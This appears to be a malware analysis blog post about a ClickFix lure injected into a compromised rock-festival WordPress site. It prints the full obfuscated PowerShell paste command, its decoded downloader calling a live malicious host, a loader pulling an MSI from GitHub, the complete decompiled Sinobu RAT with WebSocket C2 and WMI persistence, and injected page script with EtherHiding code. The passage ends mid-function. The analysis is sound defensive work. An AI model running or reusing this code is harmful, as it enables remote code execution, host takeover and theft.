ClickFix RockFest
ClickFix RockFest
Shout out to RedTeamRonin from DC612 for sending me this sample!
Incident Overview
Rock Fest is the largest rock and camping event in the United States. They use a WordPress domain that contains several potentially vulnerable plugins. This includes plugins vulnerable to multiple types of cross site scripting attacks. It is likely that the domain was compromised through a vulnerable plugin or exposed admin credentials.
The ClickFix page utilizes the Windows Terminal variant lure. Instead of asking users to use the Windows Run menu (Win+R), this lure variant asks users to open PowerShell or the Terminal with Win+X, select an Admin shell, and paste & submit the copied command.
In the observed incident, the copied command was as follows:
<# I am not a robot - Cloudflare ID: 180a3ab4272a75ca #> $k='oOeFtt';$d='4b380f3401191d72421d270d1c3b002b5a3a0a3b4b15110619260623241b0621110b151a0e280034294e551c00250106063b1c16061b1b2006291849341c1c35001102612b23005a3c2a0633061d1b3635341b00002c0a2a200d1f2a387c4e20033c54744f501b722f291d1a421f04321c544b2a0b304e202a0235665c2f3c361632111941062a6824151b27387c4e330a3b37271a100022232f1811212e08235c5d46742b230359263b002b5459263b002b200d1f2a45021d060a2c1129060d4f623527001c4f6b11665932003d0623083b1a3b4808011803744120493e00260b6b24151b27456200544714363f07000a224b0f3b5a3f2e112e294e550800322615012b0a2b321d032a2b27191147664e61535a0a370061535d546b0a2d494454290a345c500672557d501d4f62093254474f620428105442210a32545000245e621d5f44661e32060d14060b301b1f0a62322316260a3e102307004f6230341d5448680d3200041c754a69191d0c3d0a2a1b1c412d0a28105b0e3f0c691d1a0b2a1d68041c1f70047b1018493b0a2d111a527804704c435e76577343435a775c2342475d7953724717092e54241215577b5d7340475b2e57734c425d2e067244440c76047615465c7b56704d435a2907224c521c3d067b1718003a012018151d2a432b1b100a72062a1b010b29092706114868456b3b011b090c2a11544b29456b21070a0d04351d173f2e17351d1a08740c205c200a3c116b24151b274562125d146b0a2d4945122a0935110f3c3b043400593c2300230454421c00251b1a0b3c457409090c2e11251c0f3c3b043400593c2300230454421c00251b1a0b3c457409095426036e591a003b456e20111c3b48161500076f41205d5d142a1d2f0009541c11270600421f172917111c3c456b321d032a3527001c4f6b036659230621012903271b360923543c062b01231a4f1b3d1c3d261102201323593d1b2a08665938063b003415183f2e112e5450096f48001b060c2a456b31061d201707170006200b66271d032a0b32180d2c200b321d1a1a2a182515000c271e3b4f53541c11270600421f172917111c3c456b231d012b0a312700162300663c1d0b2b0028540400380034071c0a23096659351d28102b111a1b030c35005448622b29240600290c2a1153436848111d1a0b201215000d032a426a533c062b01231a53436848051b19022e0b2253584b380f3401191d74003e1d00';$r='';for($p=0;$p -lt $d.Length;$p+=2){$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-bxor[int][char]$k[$p/2%$k.Length])};&([ScriptBlock]::Create($r))
This command takes a hex string and passes it through several obfuscation processes before creating a scriptblock with the decoded object. It uses a bxor key designated as the value of $k. The result of the bxor operation is then converted to an Inst32 array before being converted bask to a char array. The resulting array, $r, is loaded as a script block object and executed.
When decoded, $r contains PowerShell code designed to reach out to hxxps[://]microloh[.]bond/api/index.php?a=dl&token=7a687192577589e6326643cfa1bfa8485434a25862ac400c9a0a23436975fbd8&src=cloudflare&mode=cloudflare and retrieve payload $f. The file path for $f is dynamic, using [System.IO.Path]::GetRandomFileName() to generate a directory and file name in the user’s $env:Temp directory. An example path may look like this C:\Users\<user>\AppData\Local\Temp\fyahvejj.uvx\jv0qx1jh.yry.exe.
$wjrumr='[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$t=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $t -Force|Out-Null;$f=Join-Path $t ([System.IO.Path]::GetRandomFileName()+''.exe'');$ok=0;for($i=0;$i -lt 3 -and -not $ok;$i++){try{Invoke-WebRequest -Uri ''https://microloh.bond/api/index.php?a=dl&token=7a687192577589e6326643cfa1bfa8485434a25862ac400c9a0a23436975fbd8&src=cloudflare&mode=cloudflare'' -OutFile $f -UseBasicParsing;if(Test-Path $f){$ok=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $f)){exit};Start-Process -FilePath $f -WindowStyle Hidden;try{Remove-Item -LiteralPath $f -Force -ErrorAction SilentlyContinue}catch{};';Start-Process -WindowStyle Hidden powershell -ArgumentList '-NoProfile','-WindowStyle','Hidden','-Command',$wjrumr;exit
Once downloaded, the payload is executed via a Start-Process execution. Immediately after execution, the payload is deleted.
The payload is a .net payload that executes PowerShell commands. The original assembly name is Horinis.
// Horinis, Version=1.6.8.98, Culture=neutral, PublicKeyToken=null
// Global type: <Module>
// Entry point: updater.Program.Main
// Architecture: x64
// Runtime: v4.0.30319
// This assembly was compiled using the /deterministic option.
// Hash algorithm: SHA1
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
[assembly: AssemblyTitle("Horinis")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Horinis ltd")]
[assembly: AssemblyProduct("Horinis")]
[assembly: AssemblyCopyright("Copyright © Horinis ltd 2026")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("4390dbb1-8940-4a3c-80b4-91dcc4208dd8")]
[assembly: AssemblyFileVersion("1.6.8.98")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: AssemblyVersion("1.6.8.98")]
The main function retrieved a payload from GitHub user babka98. The repo used in this incident appeared to be a staging directory for multiple malware samples. A list of files and hashes is available at the end of this post.
The comments throughout the samples observed in the incident suggest AI may have been used to help generate the code.
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
internal class Program
{
private static void Main(string[] args)
{
using (PowerShell powerShell = PowerShell.Create())
{
string script = "\r\n sal re (gcm ie?);\r\n re(.(gcm cu*l) -usebas https://raw.githubusercontent.com/babka98/horinis/refs/heads/main/Sinobu.msi)\r\n ";
powerShell.AddScript(script);
Collection<PSObject> collection = powerShell.Invoke();
if (powerShell.HadErrors)
{
foreach (ErrorRecord item in powerShell.Streams.Error)
{
Console.WriteLine("Ошибка: " + item.ToString());
}
}
else
{
Console.WriteLine("Скрипт с сайта запущен ✅");
}
}
Console.ReadKey();
}
}
Sinobu is a loader that uses refelection to load a DLL into memory. It contains a base64 string object and converts it to a byte array for in-memory loading via [Reflection.Assembly]::Load.
# Твой код здесь (замени на свой, похуй какой)
$base64 = ""
$bytes = [Convert]::FromBase64String($base64)
$assembly = [Reflection.Assembly]::Load($bytes)
[ConsoleApp2.Program]::Main($null)
The Sinobu (ConsoleApp2) program leaks less information than the Horinis payload. Given the complexity, it is likely that these two payloads were created by separate authors.
// starter_1b871444-290a-4373-8c18-53973c35260d, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// Global type: <Module>
// Architecture: x64
// Runtime: v4.0.30319
// Hash algorithm: SHA1
using System.Reflection;
using System.Runtime.CompilerServices;
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: AssemblyVersion("0.0.0.0")]
Full ILSpy dump
// starter_1b871444-290a-4373-8c18-53973c35260d, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// ConsoleApp2.Program
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Linq;
using System.Management;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Threading.Tasks;
using ConsoleApp2;
using Microsoft.Win32;
public class Program
{
private struct BIND_OPTS3
{
public int cbStruct;
public int grfFlags;
public int grfMode;
public int dwTickCountDeadline;
public int dwTrackFlags;
public int dwClassContext;
public int locale;
public IntPtr pServerInfo;
public IntPtr hwnd;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate long Proc0(IntPtr pThis);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate long Proc1(IntPtr pThis, IntPtr arg1);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate long Proc2(IntPtr pThis, IntPtr arg1, IntPtr arg2);
[UnmanagedFunctionPointer(CallingConvention.ThisCall)]
private delegate long Proc3(IntPtr pThis, IntPtr arg1, IntPtr arg2, IntPtr arg3);
[CompilerGenerated]
private sealed class _003CHandleUpdate_003Ec__AnonStorey6
{
[StructLayout(LayoutKind.Auto)]
private struct _003CHandleUpdate_003Ec__async5 : IAsyncStateMachine
{
internal object _003Cobj_003E__0;
internal _003CHandleUpdate_003Ec__AnonStorey6 _003C_003Ef__ref_00246;
internal AsyncTaskMethodBuilder _0024builder;
internal int _0024PC;
private TaskAwaiter _0024awaiter0;
public void MoveNext()
{
uint num = (uint)_0024PC;
_0024PC = -1;
try
{
switch (num)
{
default:
return;
case 0u:
_0024awaiter0 = Task.Delay(10).GetAwaiter();
if (!_0024awaiter0.IsCompleted)
{
_0024PC = 1;
_0024builder.AwaitUnsafeOnCompleted(ref _0024awaiter0, ref this);
return;
}
break;
case 1u:
break;
}
_0024awaiter0.GetResult();
ws.Send("precall##" + _003C_003Ef__ref_00246.clbid + "##ok");
_003Cobj_003E__0 = Invoke(_003C_003Ef__ref_00246.param[1], _003C_003Ef__ref_00246.param[2], int.Parse(_003C_003Ef__ref_00246.param[3]), _003C_003Ef__ref_00246.objs.Skip(4).ToArray());
ws.Send("call##" + _003C_003Ef__ref_00246.clbid + "##" + _003Cobj_003E__0.ToString());
}
catch (Exception exception)
{
_0024PC = -1;
_0024builder.SetException(exception);
return;
}
_0024PC = -1;
_0024builder.SetResult();
}
[DebuggerHidden]
public void SetStateMachine(IAsyncStateMachine stateMachine)
{
_0024builder.SetStateMachine(stateMachine);
}
}
internal string clbid;
internal string[] param;
internal object[] objs;
[AsyncStateMachine(typeof(_003CHandleUpdate_003Ec__async5))]
internal Task _003C_003Em__0()
{
_003CHandleUpdate_003Ec__async5 stateMachine = default(_003CHandleUpdate_003Ec__async5);
stateMachine._003C_003Ef__ref_00246 = this;
stateMachine._0024builder = AsyncTaskMethodBuilder.Create();
ref AsyncTaskMethodBuilder reference = ref stateMachine._0024builder;
reference.Start(ref stateMachine);
return reference.Task;
}
}
private static WsClient ws;
private static bool IsRunningAsAdministrator()
{
WindowsIdentity current = WindowsIdentity.GetCurrent();
WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
}
[DllImport("ole32.dll", CharSet = CharSet.Unicode)]
private static extern int CoGetObject(string pszName, ref BIND_OPTS3 pBindOptions, ref Guid riid, out IntPtr ppv);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool WaitNamedPipe(string lpNamedPipeName, uint nTimeOut);
private static Stream OpenOutput(string path)
{
if (path.StartsWith("\\\\.\\pipe\\", StringComparison.OrdinalIgnoreCase))
{
string pipeName = path.Substring("\\\\.\\pipe\\".Length);
NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(".", pipeName, PipeDirection.Out);
namedPipeClientStream.Connect();
return namedPipeClientStream;
}
Directory.CreateDirectory(Path.GetDirectoryName(path));
return new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.None);
}
private static void HandleUpdate(string line)
{
_003CHandleUpdate_003Ec__AnonStorey6 CS_0024_003C_003E8__locals36 = new _003CHandleUpdate_003Ec__AnonStorey6();
CS_0024_003C_003E8__locals36.clbid = line.Substring(0, line.IndexOf("##"));
line = line.Substring(CS_0024_003C_003E8__locals36.clbid.Length + 2);
CS_0024_003C_003E8__locals36.param = line.Split(new string[1] { "##" }, StringSplitOptions.None);
CS_0024_003C_003E8__locals36.objs = new object[CS_0024_003C_003E8__locals36.param.Length];
for (int i = 0; i < CS_0024_003C_003E8__locals36.param.Length; i++)
{
if (CS_0024_003C_003E8__locals36.param[i].Equals(string.Empty))
{
CS_0024_003C_003E8__locals36.objs[i] = null;
}
else if (CS_0024_003C_003E8__locals36.param[i].Equals("*"))
{
CS_0024_003C_003E8__locals36.objs[i] = IntPtr.Zero;
}
else
{
CS_0024_003C_003E8__locals36.objs[i] = CS_0024_003C_003E8__locals36.param[i];
}
}
try
{
if (CS_0024_003C_003E8__locals36.param[0].Equals("call"))
{
Task.Run([AsyncStateMachine(typeof(_003CHandleUpdate_003Ec__AnonStorey6._003CHandleUpdate_003Ec__async5))] () =>
{
_003CHandleUpdate_003Ec__AnonStorey6._003CHandleUpdate_003Ec__async5 stateMachine = default(_003CHandleUpdate_003Ec__AnonStorey6._003CHandleUpdate_003Ec__async5);
stateMachine._003C_003Ef__ref_00246 = CS_0024_003C_003E8__locals36;
stateMachine._0024builder = AsyncTaskMethodBuilder.Create();
ref AsyncTaskMethodBuilder reference = ref stateMachine._0024builder;
reference.Start(ref stateMachine);
return reference.Task;
});
}
else if (CS_0024_003C_003E8__locals36.param[0].Equals("download"))
{
string path = CS_0024_003C_003E8__locals36.param[1];
byte[] array = Convert.FromBase64String(CS_0024_003C_003E8__locals36.param[2]);
using (Stream stream = OpenOutput(path))
{
stream.Write(array, 0, array.Length);
stream.Flush();
}
ws.Send("download##" + CS_0024_003C_003E8__locals36.clbid + "##ok");
}
else if (CS_0024_003C_003E8__locals36.param[0].Equals("check"))
{
string text = CS_0024_003C_003E8__locals36.param[1];
string text2 = string.Empty;
if (text[0] != '\\')
{
if (File.Exists(text))
{
using SHA256 sHA = SHA256.Create();
using FileStream inputStream = File.OpenRead(text);
byte[] array2 = sHA.ComputeHash(inputStream);
text2 = BitConverter.ToString(array2).Replace("-", string.Empty);
}
else
{
text2 = "false";
}
}
else
{
text2 = WaitNamedPipe(text, uint.Parse(CS_0024_003C_003E8__locals36.param[2])).ToString();
}
ws.Send("check##" + CS_0024_003C_003E8__locals36.clbid + "##" + text2);
}
else if (CS_0024_003C_003E8__locals36.param[0].Equals("subscr"))
{
Start(CS_0024_003C_003E8__locals36.param[1], CS_0024_003C_003E8__locals36.param[2]);
ws.Send("subscr##" + CS_0024_003C_003E8__locals36.clbid + "##ok");
}
else if (CS_0024_003C_003E8__locals36.param[0].Equals("info"))
{
ws.Send("info##" + CS_0024_003C_003E8__locals36.clbid + "##" + GetSysInfo());
}
else if (CS_0024_003C_003E8__locals36.param[0].Equals("launch"))
{
string text3 = launch(CS_0024_003C_003E8__locals36.param[1], CS_0024_003C_003E8__locals36.param[2], CS_0024_003C_003E8__locals36.param[3], CS_0024_003C_003E8__locals36.param[4].Equals("true"));
ws.Send("launch##" + CS_0024_003C_003E8__locals36.clbid + "##" + text3);
}
}
catch (Exception ex)
{
ws.Send("error##" + CS_0024_003C_003E8__locals36.clbid + "##" + CS_0024_003C_003E8__locals36.param[0] + "##" + ex.ToString());
}
}
private static string launch(string filename, string arg, string input, bool capOut)
{
bool flag = input != null && !input.Equals(string.Empty);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = filename;
processStartInfo.Arguments = arg;
processStartInfo.RedirectStandardInput = flag;
processStartInfo.RedirectStandardOutput = capOut;
processStartInfo.RedirectStandardError = capOut;
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
ProcessStartInfo startInfo = processStartInfo;
using Process process = new Process();
process.StartInfo = startInfo;
process.Start();
if (flag)
{
using StreamWriter streamWriter = process.StandardInput;
if (streamWriter.BaseStream.CanWrite)
{
string[] array = input.Split(new char[1] { '\n' }, StringSplitOptions.None);
string[] array2 = array;
foreach (string value in array2)
{
streamWriter.WriteLine(value);
}
}
}
if (!process.WaitForExit(5000))
{
return "-1####";
}
string text = string.Empty;
string text2 = string.Empty;
if (capOut)
{
text = process.StandardOutput.ReadToEnd();
text2 = process.StandardError.ReadToEnd();
}
return process.ExitCode + "##" + text + "##" + text2;
}
private static void MsgCallback(string msg)
{
HandleUpdate(msg);
}
private static string GetSysInfo()
{
Process currentProcess = Process.GetCurrentProcess();
string osInfo = GetOsInfo();
string csInfo = GetCsInfo();
string biosInfo = GetBiosInfo();
string usersInfo = GetUsersInfo();
string networkAdaptersInfo = GetNetworkAdaptersInfo();
string process = GetProcess();
string services = GetServices();
string apps = GetApps();
string hotFixesInfo = GetHotFixesInfo();
return "{" + string.Format("\"fn\": \"{0}\", ", currentProcess.MainModule.FileName.Replace("\\", "\\\\")) + string.Format("\"pn\": \"{0}\", ", currentProcess.ProcessName.Replace("\\", "\\\\")) + $"\"ia\": {IsRunningAsAdministrator().ToString().ToLower()}, " + string.Format("\"cd\": \"{0}\", ", Environment.CurrentDirectory.Replace("\\", "\\\\")) + $"\"al\": {apps}," + $"\"hf\": {hotFixesInfo}," + $"\"pl\": {process}," + $"\"sl\": {services}," + $"\"Os\": {osInfo}," + $"\"Cs\": {csInfo}," + $"\"Bios\": {biosInfo}," + $"\"Users\": {usersInfo}," + $"\"Nets\": {networkAdaptersInfo}" + "}";
}
private static void Start(string nm, string text)
{
ManagementScope managementScope = new ManagementScope(nm);
managementScope.Connect();
ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("__IntervalTimerInstruction"), null);
ManagementObject managementObject = managementClass.CreateInstance();
managementObject["TimerId"] = "NetworkPing";
managementObject["IntervalBetweenEvents"] = 20000;
managementObject.Put();
ManagementClass managementClass2 = new ManagementClass(managementScope, new ManagementPath("__EventFilter"), null);
ManagementObject managementObject2 = managementClass2.CreateInstance();
managementObject2["Name"] = "NetFilter";
managementObject2["QueryLanguage"] = "WQL";
managementObject2["Query"] = "SELECT * FROM __TimerEvent WHERE TimerId = 'NetworkPing'";
managementObject2.Put();
ManagementClass managementClass3 = new ManagementClass(managementScope, new ManagementPath("ActiveScriptEventConsumer"), null);
ManagementObject managementObject3 = managementClass3.CreateInstance();
managementObject3["Name"] = "NetCon";
managementObject3["ScriptingEngine"] = "JScript";
managementObject3["KillTimeout"] = 30;
managementObject3["ScriptText"] = text;
managementObject3.Put();
ManagementClass managementClass4 = new ManagementClass(managementScope, new ManagementPath("__FilterToConsumerBinding"), null);
ManagementObject managementObject4 = managementClass4.CreateInstance();
managementObject4["Filter"] = managementObject2.Path.RelativePath;
managementObject4["Consumer"] = managementObject3.Path.RelativePath;
managementObject4.Put();
}
public static void Main(string[] args)
{
ws = new WsClient();
ws.OnMessage = MsgCallback;
ws.Connect("wss://cometoyoudream.com/signup?token=1b871444-290a-4373-8c18-53973c35260d");
ws.RunLoop();
}
private static Delegate CreateDelegateByArgs(IntPtr pInterface, int methodIndex, int argCount)
{
IntPtr ptr = Marshal.ReadIntPtr(pInterface);
IntPtr ptr2 = Marshal.ReadIntPtr(ptr, methodIndex * IntPtr.Size);
return argCount switch
{
0 => Marshal.GetDelegateForFunctionPointer<Proc0>(ptr2),
1 => Marshal.GetDelegateForFunctionPointer<Proc1>(ptr2),
2 => Marshal.GetDelegateForFunctionPointer<Proc2>(ptr2),
3 => Marshal.GetDelegateForFunctionPointer<Proc3>(ptr2),
_ => throw new NotSupportedException("3"),
};
}
private static object Invoke(string clsid, string iids, int idx, object[] args)
{
BIND_OPTS3 pBindOptions = default(BIND_OPTS3);
pBindOptions.cbStruct = Marshal.SizeOf<BIND_OPTS3>();
pBindOptions.dwClassContext = 4;
pBindOptions.hwnd = IntPtr.Zero;
pBindOptions.locale = 0;
Guid riid = new Guid("00000000-0000-0000-C000-000000000046");
IntPtr ppv;
int num = CoGetObject(clsid, ref pBindOptions, ref riid, out ppv);
if (num < 0)
{
return num | 0x1000000;
}
Guid iid = new Guid(iids);
IntPtr ppv2 = IntPtr.Zero;
Marshal.QueryInterface(ppv, ref iid, out ppv2);
Delegate @delegate = CreateDelegateByArgs(ppv2, idx, args.Length);
object[] array = new object[args.Length + 1];
array[0] = ppv2;
for (int i = 0; i < args.Length; i++)
{
if (args[i] == null)
{
array[i + 1] = IntPtr.Zero;
}
else if (args[i] is string)
{
array[i + 1] = Marshal.StringToBSTR((string)args[i]);
}
else if (args[i] is IntPtr)
{
array[i + 1] = Marshal.AllocHGlobal(4);
}
else
{
array[i + 1] = args[i];
}
}
return @delegate.DynamicInvoke(array);
}
private static string repr(object val, CimType type)
{
string empty = string.Empty;
if (val == null)
{
return empty + "null";
}
switch (type)
{
case CimType.DateTime:
{
string text = empty;
DateTimeOffset dateTimeOffset = new DateTimeOffset(ManagementDateTimeConverter.ToDateTime((string)val).ToUniversalTime());
return text + $"{dateTimeOffset.ToUnixTimeMilliseconds()}";
}
case CimType.String:
return empty + string.Format("\"{0}\"", val.ToString().Replace("\\", "\\\\").Replace("\"", "\\\""));
case CimType.Boolean:
return empty + $"{val.ToString().ToLower()}";
default:
return empty + $"{val}";
}
}
private static string arr2json(Array arg, CimType type)
{
if (arg == null)
{
return "null";
}
string text = "[";
for (int i = 0; i < arg.Length; i++)
{
object value = arg.GetValue(i);
text += $"{repr(value, type)}, ";
}
return ((text.Length <= 1) ? text : text.Substring(0, text.Length - 2)) + "]";
}
private static string mo2json(ManagementObject mo)
{
string text = "{";
PropertyDataCollection.PropertyDataEnumerator enumerator = mo.Properties.GetEnumerator();
while (enumerator.MoveNext())
{
PropertyData current = enumerator.Current;
object obj = current.Value;
if (obj != null && current.IsArray)
{
obj = arr2json((Array)current.Value, current.Type);
}
if (obj == null && current.IsArray)
{
obj = "null";
}
text = ((!current.IsArray) ? (text + $"\"{current.Name}\": {repr(obj, current.Type)}, ") : (text + $"\"{current.Name}\": {obj}, "));
}
return text.Substring(0, text.Length - 2) + "}";
}
private static string GetOsInfo()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
string text = string.Empty;
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + mo2json(item) + ", ";
}
managementObjectSearcher.Dispose();
return text.Substring(0, text.Length - 2);
}
private static string GetUsersInfo()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_UserAccount WHERE Status='OK'");
string text = "[";
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + mo2json(item) + ", ";
}
managementObjectSearcher.Dispose();
if (text.Length == 1)
{
return "[]";
}
return text.Substring(0, text.Length - 2) + "]";
}
private static string GetHotFixesInfo()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT HotFixID FROM Win32_QuickFixEngineering");
string text = "[";
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + repr(item["HotFixID"], CimType.String) + ", ";
}
managementObjectSearcher.Dispose();
if (text.Length == 1)
{
return "[]";
}
return text.Substring(0, text.Length - 2) + "]";
}
private static string GetCsInfo()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_ComputerSystem");
string text = string.Empty;
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + mo2json(item) + ", ";
}
managementObjectSearcher.Dispose();
return text.Substring(0, text.Length - 2);
}
private static string GetBiosInfo()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_BIOS");
string text = string.Empty;
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + mo2json(item) + ", ";
}
managementObjectSearcher.Dispose();
return text.Substring(0, text.Length - 2);
}
private static string GetNetworkAdaptersInfo()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true");
string text = "[";
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + mo2json(item) + ", ";
}
managementObjectSearcher.Dispose();
if (text.Length == 1)
{
return "[]";
}
return text.Substring(0, text.Length - 2) + "]";
}
private static string GetProcess()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ExecutablePath, ProcessId, SessionId FROM Win32_Process");
string text = "[";
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + mo2json(item) + ", ";
}
managementObjectSearcher.Dispose();
if (text.Length == 1)
{
return "[]";
}
return text.Substring(0, text.Length - 2) + "]";
}
private static string GetServices()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT Name, State FROM Win32_Service");
string text = "[";
foreach (ManagementObject item in managementObjectSearcher.Get())
{
text = text + repr(item["Name"], CimType.String) + ", ";
}
managementObjectSearcher.Dispose();
if (text.Length == 1)
{
return "[]";
}
return text.Substring(0, text.Length - 2) + "]";
}
private static string GetApps()
{
string[] array = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" };
string text = "[";
string[] array2 = array;
foreach (string name in array2)
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name);
if (registryKey == null)
{
continue;
}
string[] subKeyNames = registryKey.GetSubKeyNames();
foreach (string name2 in subKeyNames)
{
using RegistryKey registryKey2 = registryKey.OpenSubKey(name2);
string text2 = registryKey2?.GetValue("DisplayName") as string;
if (!string.IsNullOrEmpty(text2))
{
text += $"{repr(text2, CimType.String)}, ";
}
}
}
if (text.Length == 1)
{
return "[]";
}
return text.Substring(0, text.Length - 2) + "]";
}
}
Sinobu is a RAT that sets up a listener loop for incoming messages. On a message, the main program is sent the message for processing via a handler function (HandleUpdate). The handler supports multiple functions.
- call
- download
- check
- subscr
- info
- launch
These largely do what they say they do. Sinobu can download/verify/launch executables. It has several built in functions for host information gathering and reconnaissance as well.
- GetSysInfo
- GetOsInfo
- GetUsersInfo
- GetHotFixesInfo
- GetCsInfo
- GetBIOSInfo
- GetNetworkAdaptersInfo
- GetProcess
- GetServices
- GetApps
It uses a web socket connection to communicate with a C2 server.
public static void Main(string[] args)
{
ws = new WsClient();
ws.OnMessage = MsgCallback;
ws.Connect("wss://cometoyoudream.com/signup?token=1b871444-290a-4373-8c18-53973c35260d");
ws.RunLoop();
}
This connection utilizes what appears to be a custom web socket client (don’t quote me on this).
Custom WsClient
// starter_1b871444-290a-4373-8c18-53973c35260d, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// ConsoleApp2.WsClient
using System;
using System.IO;
using System.Net.WebSockets;
using System.Text;
using System.Threading;
internal class WsClient
{
private ClientWebSocket _ws;
public Action<string> OnMessage;
public void Connect(string url)
{
_ws = new ClientWebSocket();
_ws.ConnectAsync(new Uri(url), CancellationToken.None).GetAwaiter().GetResult();
}
public void RunLoop()
{
while (_ws.State == WebSocketState.Open)
{
string text = ReceiveMessage();
if (text != null && OnMessage != null)
{
OnMessage(text);
}
}
}
private string ReceiveMessage()
{
MemoryStream memoryStream = new MemoryStream();
byte[] array = new byte[4096];
WebSocketReceiveResult result;
do
{
result = _ws.ReceiveAsync(new ArraySegment<byte>(array), CancellationToken.None).GetAwaiter().GetResult();
if (result.MessageType == WebSocketMessageType.Close)
{
_ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "bye", CancellationToken.None).GetAwaiter().GetResult();
return null;
}
memoryStream.Write(array, 0, result.Count);
}
while (!result.EndOfMessage);
return Encoding.UTF8.GetString(memoryStream.ToArray());
}
public void Send(string msg)
{
if (_ws.State == WebSocketState.Open)
{
byte[] bytes = Encoding.UTF8.GetBytes(msg);
_ws.SendAsync(new ArraySegment<byte>(bytes), WebSocketMessageType.Text, endOfMessage: true, CancellationToken.None).GetAwaiter().GetResult();
}
}
public void Close()
{
if (_ws.State == WebSocketState.Open)
{
_ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "bye", CancellationToken.None).GetAwaiter().GetResult();
}
}
}
Lure
Normally, I don’t look at the lure too much. They’re usually pretty standard and boring. However, this one was rather interesting.
The injected code was added on to the end of the index html. It contained an obfuscated string that was decoded using a TextDecoder. The decoded JavaScript was executed, launching the ClickFix content over the current page.
<script>
(function () {
var k = 201, d = '<cut>', i, s = atob(d), r = new Uint8Array(s.length);
for (i = 0; i < s.length; i++)
r[i] = s.charCodeAt(i) ^ k;
try {
new Function(new TextDecoder().decode(r))();
} catch (e) {
var t = '';
for (i = 0; i < r.length; i++)
t += String.fromCharCode(r[i]);
new Function(t)();
}
}());
</script>
To decode this, you can simply edit the function and run it in devtools. Live life on the wild side sometimes.
The actual code that is loaded uses EtherHiding to dynamically retrieve the ClickFix code from a stored URL.
(function(){
var CA='0x08207B087F61d7e95E441E15fd6d40BEfd6eD308';
var RPC=["https://polygon.drpc.org","https://polygon-bor-rpc.publicnode.com","https://polygon.lava.build","https://polygon.rpc.subquery.network/public","https://polygon-public.nodies.app","https://polygon-pokt.nodies.app"];
var SEL='38bcdc1c';
var BCN=[];
var DISMISS=30;
var FD=["mobile","tablet"];
var FOS=["iOS","Android"];
if(document.cookie.indexOf('_cf_verified=')!==-1||document.cookie.indexOf('_wp_perf_ok=')!==-1)return;
var w=screen.width,isMob=w<768,isTab=w>=768&&w<1024;
var dev=isMob?'mobile':isTab?'tablet':'desktop';
if(FD.indexOf(dev)!==-1)return;
var ua=navigator.userAgent||'';
var os='Other';
if(/Windows/.test(ua))os='Windows';
else if(/Macintosh|Mac OS/.test(ua))os='macOS';
else if(/Linux/.test(ua)&&!/Android/.test(ua))os='Linux';
else if(/Android/.test(ua))os='Android';
else if(/iPhone|iPad|iPod/.test(ua))os='iOS';
if(FOS.indexOf(os)!==-1)return;
function decode(hex){
var off=128,lenHex=hex.substring(64,128);
var len=parseInt(lenHex,16);
var strHex=hex.substring(off,off+len*2);
var r='';
for(var i=0;i<strHex.length;i+=2){
